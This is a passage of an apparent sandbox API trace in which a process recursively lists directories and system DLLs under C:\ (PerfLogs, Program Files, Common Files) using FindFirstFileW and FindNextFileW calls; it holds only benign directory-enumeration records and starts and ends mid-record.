lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0136.104] FindClose (in: hFindFile=0x69b188 | out: hFindFile=0x69b188) returned 1 [0136.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0136.106] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0136.106] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0136.106] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b288 [0136.106] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0136.106] FindNextFileW (in: hFindFile=0x69b288, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0136.106] FindClose (in: hFindFile=0x69b288 | out: hFindFile=0x69b288) returned 1 [0136.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0136.106] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x16caa83b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x16caa83b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0136.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x16caa83b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x16caa83b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b1c8 [0136.106] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x16caa83b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x16caa83b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0136.107] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0136.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0136.107] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.107] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0136.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69af08 [0136.108] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.108] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0136.108] FindNextFileW (in: hFindFile=0x69af08, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0136.108] FindClose (in: hFindFile=0x69af08 | out: hFindFile=0x69af08) returned 1 [0136.108] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d90088 | out: hHeap=0x5a0000) returned 1 [0136.108] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0136.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0136.108] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.108] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f584 | out: lpFindFileData=0x348f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0136.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b0c8 [0136.141] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0136.142] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0136.143] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0136.144] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0136.145] FindNextFileW (in: hFindFile=0x69b0c8, lpFindFileData=0x348f308 | out: lpFindFileData=0x348f308*(dwFileAttributes=0x20, 